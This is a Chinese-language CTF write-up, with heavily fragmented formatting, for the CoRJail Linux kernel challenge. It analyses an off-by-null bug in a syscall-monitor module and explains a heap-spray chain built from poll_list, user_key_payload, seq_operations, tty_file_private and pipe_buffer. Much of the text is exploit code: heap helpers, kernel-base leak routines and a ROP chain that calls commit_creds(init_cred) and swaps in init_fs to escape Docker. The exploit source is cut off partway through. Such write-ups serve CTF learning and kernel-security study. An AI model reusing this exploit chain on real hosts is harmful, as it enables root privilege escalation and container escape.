                
                ,
              
              

              
                
                      
                
                
                  "syscalls"
                
                : [
              
              

              
                
                      
                
                
                      
                
                {
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  "names"
                
                : [ 
                
                  "_llseek"
                
                , 
                
                  "_newselect"
                
                , 
                
                  "accept"
                
                , 
                
                  "accept4"
                
                , 
                
                  "access"
                
                , 
                
                  ...
                
                 ],
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  "action"
                
                : 
                
                  "SCMP_ACT_ALLOW"
                
              
              

              
                
                      
                
                
                      
                
                },
              
              

              
                
                      
                
                
                      
                
                {
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  "names"
                
                : [ 
                
                  "clone"
                
                 ],
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  "action"
                
                : 
                
                  "SCMP_ACT_ALLOW"
                
                ,
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  "args"
                
                : [ { 
                
                  "index"
                
                : 
                
                  0
                
                , 
                
                  "value"
                
                : 
                
                  2114060288
                
                , 
                
                  "op"
                
                : 
                
                  "SCMP_CMP_MASKED_EQ"
                
                 } ]
              
              

              
                
                      
                
                
                      
                
                }
              
              

              
                
                      
                
                ]
              
              

              
                }
              
            

根据 README.md 提示,可以在 proc_rw/cormon 看到使用到的系统调用在各个 CPU 当中的情况。

              
                root@CoRJail:/
                
                  # cat /proc_rw/cormon 
                
              
              

              
                
                
              
              

              
                      CPU0      CPU1      CPU2      CPU3
                
                      
                
                Syscall (NR)
              
              

              
                
                
              
              

              
                         
                
                  9
                
                        
                
                  16
                
                        
                
                  25
                
                        
                
                  18
                
                
                      
                
                sys_poll (7)
              
              

              
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                
                      
                
                sys_fork (57)
              
              

              
                        
                
                  66
                
                        
                
                  64
                
                        
                
                  79
                
                        
                
                  60
                
                
                      
                
                sys_execve (59)
              
              

              
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                
                      
                
                sys_msgget (68)
              
              

              
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                
                      
                
                sys_msgsnd (69)
              
              

              
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                
                      
                
                sys_msgrcv (70)
              
              

              
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                
                      
                
                sys_ptrace (101)
              
              

              
                        
                
                  15
                
                        
                
                  19
                
                        
                
                  11
                
                         
                
                  6
                
                
                      
                
                sys_setxattr (188)
              
              

              
                        
                
                  27
                
                        
                
                  24
                
                        
                
                  11
                
                        
                
                  20
                
                
                      
                
                sys_keyctl (250)
              
              

              
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  2
                
                         
                
                  2
                
                
                      
                
                sys_unshare (272)
              
              

              
                         
                
                  0
                
                         
                
                  1
                
                         
                
                  0
                
                         
                
                  0
                
                
                      
                
                sys_execveat (322)
              
            

也可以指定系统调用。

              
                root@CoRJail:/
                
                  # echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon 
                
              
              

              
                root@CoRJail:/
                
                  # cat /proc_rw/cormon 
                
              
              

              
                
                
              
              

              
                      CPU0      CPU1      CPU2      CPU3
                
                      
                
                Syscall (NR)
              
              

              
                
                
              
              

              
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                
                      
                
                sys_msgsnd (69)
              
              

              
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                         
                
                  0
                
                
                      
                
                sys_msgrcv (70)
              
            

src.c

可以看到 write 存在明显的 off-by-null

              
                
                  static
                
                
                  ssize_t
                
                
                  cormon_proc_write
                
                (
                
                  struct
                
                
                  file
                
                
                  *
                
                
                  file
                
                , 
                
                  const
                
                
                  char
                
                
                  __user
                
                
                  *
                
                
                  ubuf
                
                , 
                
                  size_t
                
                
                  count
                
                , 
                
                  loff_t
                
                
                  *
                
                
                  ppos
                
                ) 
              
              

              
                {
              
              

              
                    
                
                  loff_t
                
                
                  offset
                
                
                  =
                
                
                  *
                
                
                  ppos
                
                ;
              
              

              
                    
                
                  char
                
                
                  *
                
                
                  syscalls
                
                ;
              
              

              
                    
                
                  size_t
                
                
                  len
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  if
                
                 (
                
                  offset
                
                
                  <
                
                
                  0
                
                )
              
              

              
                        
                
                  return
                
                
                  -
                
                
                  EINVAL
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  if
                
                 (
                
                  offset
                
                
                  >=
                
                
                  PAGE_SIZE
                
                
                  ||
                
                
                  !
                
                
                  count
                
                )
              
              

              
                        
                
                  return
                
                
                  0
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  len
                
                
                  =
                
                
                  count
                
                
                  >
                
                
                  PAGE_SIZE
                
                
                  ?
                
                
                  PAGE_SIZE
                
                
                  -
                
                
                  1
                
                 : 
                
                  count
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  syscalls
                
                
                  =
                
                
                  kmalloc
                
                (
                
                  PAGE_SIZE
                
                , 
                
                  GFP_ATOMIC
                
                );
              
              

              
                    
                
                  printk
                
                (
                
                  KERN_INFO
                
                
                  "[CoRMon::Debug] Syscalls @ %#llx\n"
                
                , (
                
                  uint64_t
                
                )
                
                  syscalls
                
                );
              
              

              
                
                
              
              

              
                    
                
                  if
                
                 (
                
                  !
                
                
                  syscalls
                
                )
              
              

              
                    {
              
              

              
                        
                
                  printk
                
                (
                
                  KERN_ERR
                
                
                  "[CoRMon::Error] kmalloc() call failed!\n"
                
                );
              
              

              
                        
                
                  return
                
                
                  -
                
                
                  ENOMEM
                
                ;
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  if
                
                 (
                
                  copy_from_user
                
                (
                
                  syscalls
                
                , 
                
                  ubuf
                
                , 
                
                  len
                
                ))
              
              

              
                    {
              
              

              
                        
                
                  printk
                
                (
                
                  KERN_ERR
                
                
                  "[CoRMon::Error] copy_from_user() call failed!\n"
                
                );
              
              

              
                        
                
                  return
                
                
                  -
                
                
                  EFAULT
                
                ;
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  syscalls
                
                [
                
                  len
                
                ] 
                
                  =
                
                
                  '\x00'
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  if
                
                 (
                
                  update_filter
                
                (
                
                  syscalls
                
                ))
              
              

              
                    {
              
              

              
                        
                
                  kfree
                
                (
                
                  syscalls
                
                );
              
              

              
                        
                
                  return
                
                
                  -
                
                
                  EINVAL
                
                ;
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  kfree
                
                (
                
                  syscalls
                
                );
              
              

              
                
                
              
              

              
                    
                
                  return
                
                
                  count
                
                ;
              
              

              
                }
              
            

利用思路

poll_list 利用方式中:

  • 先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload

这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x200x400x800xa00xc00xe00x00

  • 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object

  • 触发 off by null ,修改 poll_list.next 的低字节为 \x00 ,这里可能导致其指向某个 user_key_payload

  • 然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF

详细流程如下:

首先,我们要打开有漏洞的模块。使用 bind_core() 将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。

              
                
                  void
                
                
                  bind_core
                
                (
                
                  bool
                
                
                  fixed
                
                , 
                
                  bool
                
                
                  thread
                
                ) {
              
              

              
                    
                
                  cpu_set_t
                
                
                  cpu_set
                
                ;
              
              

              
                    
                
                  CPU_ZERO
                
                (
                
                  &
                
                
                  cpu_set
                
                );
              
              

              
                    
                
                  CPU_SET
                
                (
                
                  fixed
                
                
                  ?
                
                
                  0
                
                 : 
                
                  randint
                
                (
                
                  1
                
                , 
                
                  get_nprocs
                
                ()), 
                
                  &
                
                
                  cpu_set
                
                );
              
              

              
                    
                
                  if
                
                 (
                
                  thread
                
                ) {
              
              

              
                        
                
                  pthread_setaffinity_np
                
                (
                
                  pthread_self
                
                (), 
                
                  sizeof
                
                (
                
                  cpu_set
                
                ), 
                
                  &
                
                
                  cpu_set
                
                );
              
              

              
                    } 
                
                  else
                
                 {
              
              

              
                        
                
                  sched_setaffinity
                
                (
                
                  getpid
                
                (), 
                
                  sizeof
                
                (
                
                  cpu_set
                
                ), 
                
                  &
                
                
                  cpu_set
                
                );
              
              

              
                    }
              
              

              
                }
              
            

喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20poll_list

此时内存中 object 的分布如下图所示,其中黄色的是 user_key_payload ,绿色的是 poll_list ,白色是空闲 object

通过 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_listnext 指针指向 user_key_payload 。之后释放所有的 poll_list 结构,被 next 指向的的 user_key_payload 也被释放,形成 UAF 。

注意,为了确保释放 poll_list 不出错,要保证 0x20 大小的 poll_listnext 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化,因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。

              
                
                  static
                
                
                  long
                
              
              

              
                
                  setxattr
                
                (
                
                  struct
                
                
                  dentry
                
                
                  *
                
                
                  d
                
                , 
                
                  const
                
                
                  char
                
                
                  __user
                
                
                  *
                
                
                  name
                
                , 
                
                  const
                
                
                  void
                
                
                  __user
                
                
                  *
                
                
                  value
                
                ,
              
              

              
                
                      
                
                
                  size_t
                
                
                  size
                
                , 
                
                  int
                
                
                  flags
                
                )
              
              

              
                {
              
              

              
                
                      
                
                
                  int
                
                
                  error
                
                ;
              
              

              
                
                      
                
                
                  void
                
                
                  *
                
                
                  kvalue
                
                
                  =
                
                
                  NULL
                
                ;
              
              

              
                
                      
                
                
                  char
                
                
                  kname
                
                [
                
                  XATTR_NAME_MAX
                
                
                  +
                
                
                  1
                
                ];
              
              

              
                
                      
                
                [...]
              
              

              
                
                      
                
                
                  if
                
                 (
                
                  size
                
                ) {
              
              

              
                
                      
                
                
                      
                
                [...]
              
              

              
                
                      
                
                
                      
                
                
                  kvalue
                
                
                  =
                
                
                  kvmalloc
                
                (
                
                  size
                
                , 
                
                  GFP_KERNEL
                
                ); 
                
                  // 申请kmalloc-x
                
              
              

              
                
                      
                
                
                      
                
                
                  if
                
                 (
                
                  !
                
                
                  kvalue
                
                )
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  return
                
                
                  -
                
                
                  ENOMEM
                
                ;
              
              

              
                        
                
                  // 修改kmalloc-x内容
                
              
              

              
                
                      
                
                
                      
                
                
                  if
                
                 (
                
                  copy_from_user
                
                (
                
                  kvalue
                
                , 
                
                  value
                
                , 
                
                  size
                
                )) {
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  error
                
                
                  =
                
                
                  -
                
                
                  EFAULT
                
                ;
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  goto
                
                
                  out
                
                ;
              
              

              
                
                      
                
                
                      
                
                }
              
              

              
                
                      
                
                
                      
                
                [...]
              
              

              
                
                      
                
                }
              
              

              
                
                
              
              

              
                
                      
                
                
                  error
                
                
                  =
                
                
                  vfs_setxattr
                
                (
                
                  d
                
                , 
                
                  kname
                
                , 
                
                  kvalue
                
                , 
                
                  size
                
                , 
                
                  flags
                
                );
              
              

              
                
                  out
                
                :
              
              

              
                
                      
                
                
                  kvfree
                
                (
                
                  kvalue
                
                ); 
                
                  // 释放kmalloc-x
                
              
              

              
                
                
              
              

              
                
                      
                
                
                  return
                
                
                  error
                
                ;
              
              

              
                }
              
            

另外实测 kmalloc-32freelist 偏移为 16 字节,不会覆盖 next 指针。

喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读, user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。

              
                
                  struct
                
                
                  seq_operations
                
                 {
              
              

              
                
                      
                
                
                  void
                
                
                  *
                
                 (
                
                  *
                
                
                  start
                
                ) (
                
                  struct
                
                
                  seq_file
                
                
                  *
                
                
                  m
                
                , 
                
                  loff_t
                
                
                  *
                
                
                  pos
                
                );
              
              

              
                
                      
                
                
                  void
                
                 (
                
                  *
                
                
                  stop
                
                ) (
                
                  struct
                
                
                  seq_file
                
                
                  *
                
                
                  m
                
                , 
                
                  void
                
                
                  *
                
                
                  v
                
                );
              
              

              
                
                      
                
                
                  void
                
                
                  *
                
                 (
                
                  *
                
                
                  next
                
                ) (
                
                  struct
                
                
                  seq_file
                
                
                  *
                
                
                  m
                
                , 
                
                  void
                
                
                  *
                
                
                  v
                
                , 
                
                  loff_t
                
                
                  *
                
                
                  pos
                
                );
              
              

              
                
                      
                
                
                  int
                
                 (
                
                  *
                
                
                  show
                
                ) (
                
                  struct
                
                
                  seq_file
                
                
                  *
                
                
                  m
                
                , 
                
                  void
                
                
                  *
                
                
                  v
                
                );
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  user_key_payload
                
                 {
              
              

              
                
                      
                
                
                  struct
                
                
                  rcu_head
                
                
                
                
                  rcu
                
                ;
                
                      
                
                
                      
                
                
                  /* RCU destructor */
                
              
              

              
                
                      
                
                
                  unsigned
                
                
                  short
                
                
                    
                
                
                  datalen
                
                ;
                
                      
                
                
                  /* length of this data */
                
              
              

              
                
                      
                
                
                  char
                
                
                      
                
                
                      
                
                
                  data
                
                [
                
                  0
                
                ] 
                
                  __aligned
                
                (
                
                  __alignof__
                
                (
                
                  u64
                
                )); 
                
                  /* actual data */
                
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  callback_head
                
                 {
              
              

              
                
                      
                
                
                  struct
                
                
                  callback_head
                
                
                  *
                
                
                  next
                
                ;
              
              

              
                
                      
                
                
                  void
                
                 (
                
                  *
                
                
                  func
                
                )(
                
                  struct
                
                
                  callback_head
                
                
                  *
                
                
                  head
                
                );
              
              

              
                } 
                
                  __attribute__
                
                ((
                
                  aligned
                
                (
                
                  sizeof
                
                (
                
                  void
                
                
                  *
                
                ))));
              
              

              
                
                  #define rcu_head callback_head
                
              
            

之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ,我们定义这个地址为 target_object

释放 seq_operations ,喷射 0x20 大小的 poll_list 。现在 UAF 的堆块被 user_key_payloadpoll_list 占领。在 poll_list 被释放前,释放劫持的 user_key_payload ,利用 setxattr 修改 poll_listnext 指针指向 target_object - 0x18 ,方便后续伪造 pipe_buffer 。为了实现 setxattr 的喷射效果, setxattr 修改过的 object 通过申请 user_key_payload 劫持,确保下次 setxattr 修改的是另外的 object

打开 /dev/ptmx 时会分配 tty_file_private 并且该结构体的 tty 指针会指向 tty_struct

                
                  
                    int
                  
                  
                    tty_alloc_file
                  
                  (
                  
                    struct
                  
                  
                    file
                  
                  
                    *
                  
                  
                    file
                  
                  )
                
                

                
                  {
                
                

                
                  
                        
                  
                  
                    struct
                  
                  
                    tty_file_private
                  
                  
                    *
                  
                  
                    priv
                  
                  ;
                
                

                
                  
                  
                
                

                
                  
                        
                  
                  
                    priv
                  
                  
                    =
                  
                  
                    kmalloc
                  
                  (
                  
                    sizeof
                  
                  (
                  
                    *
                  
                  
                    priv
                  
                  ), 
                  
                    GFP_KERNEL
                  
                  );
                
                

                
                  
                        
                  
                  
                    if
                  
                   (
                  
                    !
                  
                  
                    priv
                  
                  )
                
                

                
                  
                        
                  
                  
                        
                  
                  
                    return
                  
                  
                    -
                  
                  
                    ENOMEM
                  
                  ;
                
                

                
                  
                  
                
                

                
                  
                        
                  
                  
                    file
                  
                  
                    ->
                  
                  
                    private_data
                  
                  
                    =
                  
                  
                    priv
                  
                  ;
                
                

                
                  
                  
                
                

                
                  
                        
                  
                  
                    return
                  
                  
                    0
                  
                  ;
                
                

                
                  }
                
                

                
                  
                    // kmalloc-32 | GFP_KERNEL
                  
                
                

                
                  
                    struct
                  
                  
                    tty_file_private
                  
                   {
                
                

                
                  
                        
                  
                  
                    struct
                  
                  
                    tty_struct
                  
                  
                    *
                  
                  
                    tty
                  
                  ;
                
                

                
                  
                        
                  
                  
                    struct
                  
                  
                    file
                  
                  
                    *
                  
                  
                    file
                  
                  ;
                
                

                
                  
                        
                  
                  
                    struct
                  
                  
                    list_head
                  
                  
                    list
                  
                  ;
                
                

                
                  };
                
              

poll_list 还没有释放,释放 tty_struct 并申请 pipe_buffer ,将 target_object(tty_struct) 替换为 pipe_buffer

              struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};
            

之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,从而劫持 pipe_buffer->ops 实现控制流劫持。

docker逃逸

具体实现为修改 task_structfs 指向 init_fs 。用 find_task_by_vpid() 来定位 Docker 容器任务,我们用 switch_task_namespaces() 。但这还不足以从容器中逃逸。在 Docker 容器中, setns()seccomp 默认屏蔽了,我们可以克隆 init_fs 结构,然后用 find_task_by_vpid() 定位当前任务,用 gadget 手动安装新 fs_struct

              
                    
                
                  // commit_creds(&init_creds)
                
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  pop_rdi_ret
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  init_cred
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  commit_creds
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  // current = find_task_by_vpid(getpid())
                
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  pop_rdi_ret
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  getpid
                
                ();
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  find_task_by_vpid
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  // current->fs = &init_fs
                
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  pop_rcx_ret
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  0x6e0
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  add_rax_rcx_ret
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  pop_rbx_ret
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  init_fs
                
                ;
              
              

              
                    
                
                  *
                
                
                  rop
                
                
                  ++
                
                
                  =
                
                
                  mov_mmrax_rbx_pop_rbx_ret
                
                ;
              
              

              
                    
                
                  rop
                
                
                  ++
                
                ;
              
              

              
                
                
              
            

exp

              
                
                  #ifndef _GNU_SOURCE
                
              
              

              
                
                  #define _GNU_SOURCE
                
              
              

              
                
                  #endif
                
              
              

              
                
                
              
              

              
                
                  #include <asm/ldt.h>
                
              
              

              
                
                  #include <assert.h>
                
              
              

              
                
                  #include <ctype.h>
                
              
              

              
                
                  #include <errno.h>
                
              
              

              
                
                  #include <fcntl.h>
                
              
              

              
                
                  #include <linux/keyctl.h>
                
              
              

              
                
                  #include <linux/userfaultfd.h>
                
              
              

              
                
                  #include <poll.h>
                
              
              

              
                
                  #include <pthread.h>
                
              
              

              
                
                  #include <sched.h>
                
              
              

              
                
                  #include <semaphore.h>
                
              
              

              
                
                  #include <signal.h>
                
              
              

              
                
                  #include <stdbool.h>
                
              
              

              
                
                  #include <stdint.h>
                
              
              

              
                
                  #include <stdio.h>
                
              
              

              
                
                  #include <stdlib.h>
                
              
              

              
                
                  #include <string.h>
                
              
              

              
                
                  #include <sys/ioctl.h>
                
              
              

              
                
                  #include <sys/ipc.h>
                
              
              

              
                
                  #include <sys/mman.h>
                
              
              

              
                
                  #include <sys/msg.h>
                
              
              

              
                
                  #include <sys/prctl.h>
                
              
              

              
                
                  #include <sys/sem.h>
                
              
              

              
                
                  #include <sys/shm.h>
                
              
              

              
                
                  #include <sys/socket.h>
                
              
              

              
                
                  #include <sys/syscall.h>
                
              
              

              
                
                  #include <sys/types.h>
                
              
              

              
                
                  #include <sys/wait.h>
                
              
              

              
                
                  #include <sys/xattr.h>
                
              
              

              
                
                  #include <unistd.h>
                
              
              

              
                
                  #include <sys/sysinfo.h>
                
              
              

              
                
                
              
              

              
                
                  #define PAGE_SIZE 0x1000
                
              
              

              
                
                
              
              

              
                
                  int
                
                
                  randint
                
                (
                
                  int
                
                
                  min
                
                , 
                
                  int
                
                
                  max
                
                ) {
              
              

              
                    
                
                  return
                
                
                  min
                
                
                  +
                
                 (
                
                  rand
                
                () 
                
                  %
                
                 (
                
                  max
                
                
                  -
                
                
                  min
                
                ));
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  bind_core
                
                (
                
                  bool
                
                
                  fixed
                
                , 
                
                  bool
                
                
                  thread
                
                ) {
              
              

              
                    
                
                  cpu_set_t
                
                
                  cpu_set
                
                ;
              
              

              
                    
                
                  CPU_ZERO
                
                (
                
                  &
                
                
                  cpu_set
                
                );
              
              

              
                    
                
                  CPU_SET
                
                (
                
                  fixed
                
                
                  ?
                
                
                  0
                
                 : 
                
                  randint
                
                (
                
                  1
                
                , 
                
                  get_nprocs
                
                ()), 
                
                  &
                
                
                  cpu_set
                
                );
              
              

              
                    
                
                  if
                
                 (
                
                  thread
                
                ) {
              
              

              
                        
                
                  pthread_setaffinity_np
                
                (
                
                  pthread_self
                
                (), 
                
                  sizeof
                
                (
                
                  cpu_set
                
                ), 
                
                  &
                
                
                  cpu_set
                
                );
              
              

              
                    } 
                
                  else
                
                 {
              
              

              
                        
                
                  sched_setaffinity
                
                (
                
                  getpid
                
                (), 
                
                  sizeof
                
                (
                
                  cpu_set
                
                ), 
                
                  &
                
                
                  cpu_set
                
                );
              
              

              
                    }
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  qword_dump
                
                (
                
                  char
                
                
                  *
                
                
                  desc
                
                , 
                
                  void
                
                
                  *
                
                
                  addr
                
                , 
                
                  int
                
                
                  len
                
                ) {
              
              

              
                    
                
                  uint64_t
                
                
                  *
                
                
                  buf64
                
                
                  =
                
                 (
                
                  uint64_t
                
                
                  *
                
                ) 
                
                  addr
                
                ;
              
              

              
                    
                
                  uint8_t
                
                
                  *
                
                
                  buf8
                
                
                  =
                
                 (
                
                  uint8_t
                
                
                  *
                
                ) 
                
                  addr
                
                ;
              
              

              
                    
                
                  if
                
                 (
                
                  desc
                
                
                  !=
                
                
                  NULL
                
                ) {
              
              

              
                        
                
                  printf
                
                (
                
                  "[*] %s:\n"
                
                , 
                
                  desc
                
                );
              
              

              
                    }
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  len
                
                
                  /
                
                
                  8
                
                ; 
                
                  i
                
                
                  +=
                
                
                  4
                
                ) {
              
              

              
                        
                
                  printf
                
                (
                
                  "  %04x"
                
                , 
                
                  i
                
                
                  *
                
                
                  8
                
                );
              
              

              
                        
                
                  for
                
                 (
                
                  int
                
                
                  j
                
                
                  =
                
                
                  0
                
                ; 
                
                  j
                
                
                  <
                
                
                  4
                
                ; 
                
                  j
                
                
                  ++
                
                ) {
              
              

              
                            
                
                  i
                
                
                  +
                
                
                  j
                
                
                  <
                
                
                  len
                
                
                  /
                
                
                  8
                
                
                  ?
                
                
                  printf
                
                (
                
                  " 0x%016lx"
                
                , 
                
                  buf64
                
                [
                
                  i
                
                
                  +
                
                
                  j
                
                ]) : 
                
                  printf
                
                (
                
                  "                   "
                
                );
              
              

              
                        }
              
              

              
                        
                
                  printf
                
                (
                
                  "   "
                
                );
              
              

              
                        
                
                  for
                
                 (
                
                  int
                
                
                  j
                
                
                  =
                
                
                  0
                
                ; 
                
                  j
                
                
                  <
                
                
                  32
                
                
                  &&
                
                
                  j
                
                
                  +
                
                
                  i
                
                
                  *
                
                
                  8
                
                
                  <
                
                
                  len
                
                ; 
                
                  j
                
                
                  ++
                
                ) {
              
              

              
                            
                
                  printf
                
                (
                
                  "%c"
                
                , 
                
                  isprint
                
                (
                
                  buf8
                
                [
                
                  i
                
                
                  *
                
                
                  8
                
                
                  +
                
                
                  j
                
                ]) 
                
                  ?
                
                
                  buf8
                
                [
                
                  i
                
                
                  *
                
                
                  8
                
                
                  +
                
                
                  j
                
                ] : 
                
                  '.'
                
                );
              
              

              
                        }
              
              

              
                        
                
                  puts
                
                (
                
                  ""
                
                );
              
              

              
                    }
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  bool
                
                
                  is_kernel_text_addr
                
                (
                
                  size_t
                
                
                  addr
                
                ) {
              
              

              
                    
                
                  return
                
                
                  addr
                
                
                  >=
                
                
                  0xFFFFFFFF80000000
                
                
                  &&
                
                
                  addr
                
                
                  <=
                
                
                  0xFFFFFFFFFEFFFFFF
                
                ;
              
              

              
                
                  //    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
                
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  bool
                
                
                  is_dir_mapping_addr
                
                (
                
                  size_t
                
                
                  addr
                
                ) {
              
              

              
                    
                
                  return
                
                
                  addr
                
                
                  >=
                
                
                  0xFFFF888000000000
                
                
                  &&
                
                
                  addr
                
                
                  <=
                
                
                  0xFFFFc87FFFFFFFFF
                
                ;
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  #define INVALID_KERNEL_OFFSET 0x1145141919810
                
              
              

              
                
                
              
              

              
                
                  const
                
                
                  size_t
                
                
                  kernel_addr_list
                
                [] 
                
                  =
                
                 {
              
              

              
                        
                
                  0xffffffff813275c0
                
                ,
              
              

              
                        
                
                  0xffffffff812d4320
                
                ,
              
              

              
                        
                
                  0xffffffff812d4340
                
                ,
              
              

              
                        
                
                  0xffffffff812d4330
                
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  size_t
                
                
                  kernel_offset_query
                
                (
                
                  size_t
                
                
                  kernel_text_leak
                
                ) {
              
              

              
                    
                
                  if
                
                 (
                
                  !
                
                
                  is_kernel_text_addr
                
                (
                
                  kernel_text_leak
                
                )) {
              
              

              
                        
                
                  return
                
                
                  INVALID_KERNEL_OFFSET
                
                ;
              
              

              
                    }
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  sizeof
                
                (
                
                  kernel_addr_list
                
                ) 
                
                  /
                
                
                  sizeof
                
                (
                
                  kernel_addr_list
                
                [
                
                  0
                
                ]); 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  if
                
                 (
                
                  !
                
                ((
                
                  kernel_text_leak
                
                
                  ^
                
                
                  kernel_addr_list
                
                [
                
                  i
                
                ]) 
                
                  &
                
                
                  0xFFF
                
                )
              
              

              
                            
                
                  &&
                
                 (
                
                  kernel_text_leak
                
                
                  -
                
                
                  kernel_addr_list
                
                [
                
                  i
                
                ]) 
                
                  %
                
                
                  0x100000
                
                
                  ==
                
                
                  0
                
                ) {
              
              

              
                            
                
                  return
                
                
                  kernel_text_leak
                
                
                  -
                
                
                  kernel_addr_list
                
                [
                
                  i
                
                ];
              
              

              
                        }
              
              

              
                    }
              
              

              
                    
                
                  printf
                
                (
                
                  "[-] unknown kernel addr: %#lx\n"
                
                , 
                
                  kernel_text_leak
                
                );
              
              

              
                    
                
                  return
                
                
                  INVALID_KERNEL_OFFSET
                
                ;
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  size_t
                
                
                  search_kernel_offset
                
                (
                
                  void
                
                
                  *
                
                
                  buf
                
                , 
                
                  int
                
                
                  len
                
                ) {
              
              

              
                    
                
                  size_t
                
                
                  *
                
                
                  search_buf
                
                
                  =
                
                
                  buf
                
                ;
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  len
                
                
                  /
                
                
                  8
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  size_t
                
                
                  kernel_offset
                
                
                  =
                
                
                  kernel_offset_query
                
                (
                
                  search_buf
                
                [
                
                  i
                
                ]);
              
              

              
                        
                
                  if
                
                 (
                
                  kernel_offset
                
                
                  !=
                
                
                  INVALID_KERNEL_OFFSET
                
                ) {
              
              

              
                            
                
                  printf
                
                (
                
                  "[+] kernel leak addr: %#lx\n"
                
                , 
                
                  search_buf
                
                [
                
                  i
                
                ]);
              
              

              
                            
                
                  printf
                
                (
                
                  "[+] kernel offset: %#lx\n"
                
                , 
                
                  kernel_offset
                
                );
              
              

              
                            
                
                  return
                
                
                  kernel_offset
                
                ;
              
              

              
                        }
              
              

              
                    }
              
              

              
                    
                
                  return
                
                
                  INVALID_KERNEL_OFFSET
                
                ;
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  size_t
                
                
                  user_cs
                
                , 
                
                  user_rflags
                
                , 
                
                  user_sp
                
                , 
                
                  user_ss
                
                ;
              
              

              
                
                
              
              

              
                
                  void
                
                
                  save_status
                
                () {
              
              

              
                    
                
                  __asm__
                
                (
                
